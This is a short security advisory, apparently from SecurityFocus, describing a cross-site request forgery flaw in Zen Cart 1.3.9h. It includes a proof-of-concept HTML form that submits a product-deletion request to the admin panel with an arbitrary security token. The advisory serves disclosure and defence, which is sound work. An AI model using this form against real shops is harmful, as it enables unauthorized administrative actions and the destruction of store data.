source: http://www.securityfocus.com/bid/51968/info

Zen Cart is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

Zen Cart 1.3.9h is vulnerable; other versions may be affected.

<form name="products" action="
http://www.example.com/path_to_admin/product.php?action=delete_product_confirm";
method="post">
<label for="securityToken">Security Token</label><br/><input type="text"
name="securityToken" value="Can be anything�" /><br/><br/>
<label for="products_id">Products ID</label><br/><input type="text"
name="products_id" value="329"><br/><br/>
<label for="product_categories[]">Products Category</label><br/><input
type="text" value="48" name="product_categories[]"><br/><br/>
<input type="submit" border="0" alt="Delete" value=" Delete Product">
</form>